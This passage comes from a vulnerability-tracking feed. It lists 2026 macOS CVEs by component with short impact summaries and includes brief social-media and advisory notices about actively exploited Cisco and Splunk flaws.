YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43759\n        CoreMedia\n        An app may be able to access sensitive user data\n        NoYesNoNoNoYesNoNo\n      \n      \n        CVE-2026-43775\n        CoreMedia\n        An app may be able to access sensitive user data\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28936\n        CoreServices\n        Processing a maliciously crafted file may lead to unexpected app termination\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43738\n        CoreUI\n        Processing a maliciously crafted asset catalog may result in disclosure of process memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43802\n        CoreVideo\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64710\n        Crash Reporter\n        An app may be able to leak sensitive user information\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39875\n        CUPS\n        A malicious app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43698\n        CUPS\n        An app may be able to gain root privileges\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-3783\n        curl\n        Authentication credentials may be sent to a server on another origin\n        YesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-3784\n        curl\n        Authentication credentials may be sent to a server on another origin\n        YesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43758\n        Data Detectors UI\n        An app may be able to access sensitive user data\n        NoYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-64708\n        DesktopServices\n        An app may bypass Gatekeeper checks\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28926\n        Disk Images\n        An app may be able to elevate privileges\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28945\n        Disk Images\n        An app may be able to bypass network restrictions\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43747\n        Disk Images\n        Parsing a maliciously crafted file may lead to an unexpected app termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64694\n        Disk Images\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64776\n        Disk Images\n        An app may be able to disclose kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43753\n        DriverKit\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        YesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43793\n        DriverKit\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43714\n        Foundation\n        A malicious app may be able to access protected user data\n        YesYesYesYesNoYesYesNo\n      \n      \n        CVE-2026-64742\n        FrontBoard\n        An app may be able to access sensitive user data\n        YesNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43796\n        Game Center\n        An app may be able to access sensitive user data\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64740\n        Game Center\n        A malicious app may be able to break out of its sandbox\n        YesYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-64691\n        GPU Drivers\n        An app may be able to cause unexpected system termination\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64692\n        Heimdal\n        An app may be able to cause a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-28981\n        HFS\n        Processing a maliciously crafted image may lead to arbitrary code execution\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43682\n        HFS\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43710\n        HFS\n        An attacker may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43764\n        HFS\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43767\n        HFS\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43773\n        HFS\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64697\n        HFS\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2025-43325\n        Icons\n        An app may be able to access sensitive user data\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43661\n        ImageIO\n        Processing a maliciously crafted image may corrupt process memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43780\n        ImageIO\n        Processing a maliciously crafted texture may lead to unexpected app termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43818\n        ImageIO\n        Processing a maliciously crafted image may lead to arbitrary code execution\n        YesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64693\n        ImageIO\n        Processing a maliciously crafted image may lead to a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64716\n        ImageIO\n        Processing a maliciously crafted image may corrupt process memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64754\n        ImageIO\n        Processing a maliciously crafted file may lead to a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64758\n        ImageIO\n        Processing a maliciously crafted file may lead to unexpected app termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43743\n        IOGPUFamily\n        An app may be able to cause unexpected system termination\n        NoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-43805\n        IOKit\n        An app may be able to cause unexpected system termination or write kernel memory\n        YesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-39877\n        IOSkywalkFamily\n        An app may be able to disclose kernel memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28931\n        Kernel\n        Connecting to a malicious NFS server may lead to kernel memory corruption\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-28982\n        Kernel\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39868\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43722\n        Kernel\n        An app may be able to leak sensitive kernel state\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43724\n        Kernel\n        An app may be able to cause unexpected system termination or write kernel memory\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43739\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43754\n        Kernel\n        An app may be able to leak sensitive kernel state\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43757\n        Kernel\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43769\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43778\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43782\n        Kernel\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43799\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43809\n        Kernel\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43810\n        Kernel\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43814\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-43816\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43817\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43822\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64700\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64709\n        Kernel\n        An app may be able to disclose kernel memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64720\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-64721\n        Kernel\n        An app may be able to access sensitive user data\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64723\n        Kernel\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64727\n        Kernel\n        An app may be able to cause unexpected system termination\n        NoYesNoNoYesNoNoNo\n      \n      \n        CVE-2026-64729\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64735\n        Kernel\n        A remote attacker may be able to bypass network filters\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64744\n        Kernel\n        An app may be able to disclose kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64749\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        YesYesYesNoNoNoYesNo\n      \n      \n        CVE-2026-64751\n        Kernel\n        An app may be able to cause unexpected system termination or write kernel memory\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64775\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-20672\n        LaunchServices\n        An app may be able to access sensitive user data\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28983\n        LaunchServices\n        A remote attacker may be able to cause a denial of service\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28900\n        libarchive\n        A maliciously crafted ZIP archive may bypass Gatekeeper checks\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-4424\n        libarchive\n        Processing a maliciously crafted file may result in disclosure of process memory\n        YesYesYesYesNoNoYesNo\n      \n      \n        CVE-2026-28973\n        libc\n        A malicious app may be able to break out of its sandbox\n        YesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-64739\n        Libnotify\n        An attacker may be able to cause unexpected app termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43703\n        libxslt\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43706\n        libxslt\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43766\n        LoginWindow\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64743\n        Managed Configuration\n        An app may be able to access sensitive user data\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64738\n        Maps\n        A malicious app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43653\n        mDNSResponder\n        An attacker on the local network may be able to cause a denial-of-service\n        NoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-43806\n        mDNSResponder\n        A local attacker may be able to cause a denial of service\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64724\n        mDNSResponder\n        An attacker on the local network may be able to cause a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43723\n        MediaRemote\n        An app may be able to gain root privileges\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-28911\n        Metal\n        A malicious app may be able to corrupt memory of a system process\n        NoYesNoYesNoNoNoNo\n      \n      \n        CVE-2026-43807\n        MobileAccessoryUpdater\n        A malicious accessory may be able to cause unexpected app termination\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43729\n        Model I/O\n        Processing a maliciously crafted image may corrupt process memory\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-43733\n        Model I/O\n        Processing a maliciously crafted image may corrupt process memory\n        YesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64722\n        Model I/O\n        Processing a 3D model may result in disclosure of process memory\n        YesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64768\n        Model I/O\n        A remote attacker may cause an unexpected app termination\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-64769\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-64770\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-64771\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-64772\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-64774\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-43771\n        Net-SNMP\n        An app may be able to cause a denial-of-service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43772\n        NetFSFramework\n        An app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28961\n        Network Extensions\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-64711\n        NSColorPanel\n        An app may be able to leak sensitive user information\n        YesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28912\n        PackageKit\n        A user may be able to elevate privileges\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43765\n        PackageKit\n        An app may be able to modify protected parts of the file system\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28896\n        ppp\n        An attacker may be able to cause unexpected system termination or read kernel memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-64731\n        Printing\n        A malicious app may be able to break out of its sandbox\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43812\n        Pro Res\n        An app may be able to cause unexpected system termination\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-43694\n        quarantine\n        An app may be able to cause unexpected system termination or write kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39874\n        Remote Management\n        A malicious app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43792\n        Safari\n        An app may be able to access sensitive user data\n        NoYesNoNoNoNoNoYes\n      \n      \n        CVE-2026-64741\n        Sandbox Profiles\n        An app may be able to read a persistent device identifier\n        YesNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64763\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64764\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64765\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64766\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43665\n        Screen Sharing Server\n        A local attacker may be able to determine the legacy VNC password configured for Screen Sharing\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43760\n        Screen Sharing Server\n        An app may be able to access user-sensitive data\n        NoYesNoYesNoNoNoNo\n      \n      \n        CVE-2026-43777\n        Screen Sharing Server\n        A remote attacker may be able to cause a denial of service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43779\n        Screen Sharing Server\n        An app may be able to intercept network connections intended for another process\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43728\n        Security\n        An attacker may be able to modify the state of the Keychain\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-43755\n        SecurityAgent\n        An app may be able to gain root privileges\n        NoYesNoYesNoNoNoNo\n      \n      \n        CVE-2026-43800\n        Siri\n        An app may be able to access sensitive user data\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-64745\n        Siri\n        A person with physical access to a locked device may be able to access contacts and photos\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-39873\n        SMB\n        Connecting to a malicious SMB server may lead to unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64696\n        SMB\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64704\n        SMB\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43774\n        Spotlight\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43770\n        StorageKit\n        An app may be able to access sensitive user data\n        NoYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-43768\n        udf\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43704\n        Web Extensions\n        A malicious web extension may be able to cause an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64699\n        WebDAV\n        An app may be able to disclose kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64703\n        WebDAV\n        An app may be able to cause a denial-of-service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39872\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43663\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43676\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-43699\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43700\n        WebKit\n        Processing maliciously crafted web content may disclose sensitive user information\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43701\n        WebKit\n        A malicious website may be able to process restricted web content outside the sandbox\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43705\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43707\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43708\n        WebKit\n        A malicious website may exfiltrate data cross-origin\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43709\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43712\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43713\n        WebKit\n        Visiting a website may leak sensitive data\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43715\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43725\n        WebKit\n        A malicious website may be able to process restricted web content outside the sandbox\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43726\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43727\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-43731\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43732\n        WebKit\n        Processing maliciously crafted web content may disclose sensitive user information\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43734\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43735\n        WebKit\n        A malicious website may exfiltrate data cross-origin\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43740\n        WebKit\n        Processing maliciously crafted web content may result in the disclosure of process memory\n        YesNoNoNoYesYesYesYes\n      \n      \n        CVE-2026-43742\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43745\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43804\n        WebKit\n        Visiting a website may lead to an app denial-of-service\n        YesYesNoNoNoNoYesYes\n      \n      \n        CVE-2026-43821\n        WebKit\n        An app may be able to read files outside of its sandbox\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64713\n        WebKit\n        Websites may know if the user has visited a given link\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64728\n        WebKit\n        Maliciously crafted web content may violate iframe sandboxing policy\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64730\n        WebKit\n        Visiting a website that frames malicious content may lead to UI spoofing\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64757\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoNoYesYesYes\n      \n      \n        CVE-2026-64783\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoNoYesYesYes\n      \n      \n        CVE-2026-43720\n        WebKit Canvas\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64718\n        WebKit Canvas\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-43721\n        WebKit Storage\n        A malicious website may be able to silently hijack clipboard data\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-28979\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43717\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-43718\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64719\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-43750\n        Wi-Fi\n        An app may be able to execute arbitrary code out of its sandbox or with certain elevated privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64726\n        Wi-Fi\n        An attacker in physical proximity may be able to corrupt process memory\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64755\n        WorkoutKit\n        An app may be able to access sensitive user data\n        YesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-28932\n        xar\n        An app may be able to cause a denial of service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28914\n        zip\n        A maliciously crafted ZIP archive may bypass Gatekeeper checks\n        NoNoYesYesNoNoNoNo\n      \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n  \nWe\u2019ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.", "creation_timestamp": "2026-07-30T16:01:07.392965Z"}, {"uuid": "055b2a67-97f8-4f45-8c73-d901b3237e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mrut4lawo52w", "content": "~Cybergcca~\nSix advisories issued; Cisco FMC CVE-2026-20316 actively exploited and on CISA KEV.\n-\nIOCs: CVE-2026-20316\n-\n#CVE202620316 #Cisco #ThreatIntel", "creation_timestamp": "2026-07-30T16:07:34.632954Z"}, {"uuid": "29a3e171-13d7-4458-b733-f0e865d9ee40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-757", "content": "", "creation_timestamp": "2026-07-30T16:15:03.809570Z"}, {"uuid": "2cb64de1-6455-4ee6-9a75-c3a8d0e2e098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/CyberDispatch/2048", "content": "This Splunk flaw is no longer just theoretical.\n\nSplunk says it is aware of limited exploitation of CVE-2026-20253.", "creation_timestamp": "2026-08-30T00:00:39.346949Z"}, {"uuid": "d586554a-e4f0-4dfa-9cf2-57b97ed60870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3msaae2wvkr26", "content": "Daily IT Security Digest \u2014 2026-08-04\nvulnerabilities: CVE-2026-20316 in Secure Firewall Management Center (FMC) exposes static credentials that could leak sensitive data, and CVE-2026-20262 in Catalyst SD-WAN Manager allows write-access attackers to escalate to root via crafted HTTP requests. Both", "creation_timestamp": "2026-08-04T05:03:41.887207Z"}, {"uuid": "0ea3023e-66b0-45a1-af85-e8e97ac6fada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3msaae2wvkr26", "content": "Daily IT Security Digest \u2014 2026-08-04\nvulnerabilities: CVE-2026-20316 in Secure Firewall Management Center (FMC) exposes static credentials that could leak sensitive data, and CVE-2026-20262 in Catalyst SD-WAN Manager allows write-access attackers to escalate to root via crafted HTTP requests. Both", "creation_timestamp": "2026-08-04T05:03:41.932541Z"}, {"uuid": "1d4c4a7a-2c3e-46c1-8328-f6563793d0e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/CyberDispatch/1958", "content": "A critical Splunk Enterprise flaw can go from \u201cno login required\u201d to remote code execution.\n\nTracked as CVE-2026-20253, the bug carries a 9.8 CVSS score and affects vulnerable Splunk Enterprise servers through exposed PostgreSQL sidecar endpoints.", "creation_timestamp": "2026-08-30T00:00:39.799412Z"}, {"uuid": "fdeda9ac-89db-4132-9d9f-faa3c0ea8a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/CyberDispatch/1858", "content": "Cisco SD-WAN Vulnerability Exploited with No Patch Available\n\nCVE-2026-20245 lets attackers run root commands via crafted file uploads on exposed systems.", "creation_timestamp": "2026-08-30T00:00:39.925789Z"}, {"uuid": "a73ff89b-43bf-4b9c-b1f2-8c9b8ded7cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mruwzzzxgp2l", "content": "CVE-2026-20316: Actively Exploited Cisco FMC Flaw Exposes Sensitive Data\n\n", "creation_timestamp": "2026-07-30T17:17:46.861211Z"}, {"uuid": "92dd334b-c54f-43f6-a38d-503e4ecadd01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/10321", "content": "29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u2014 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0436\u0438\u0432\u0451\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 CVE\n\n\u041d\u0435 \u0434\u043d\u0435\u0439, \u043d\u0435 \u043d\u0435\u0434\u0435\u043b\u044c \u2014 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c IBM X-Force Threat Intelligence Index 2025, \u043c\u0435\u0436\u0434\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u043e\u043c\u0435\u0440 CVE, \u0438 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0451 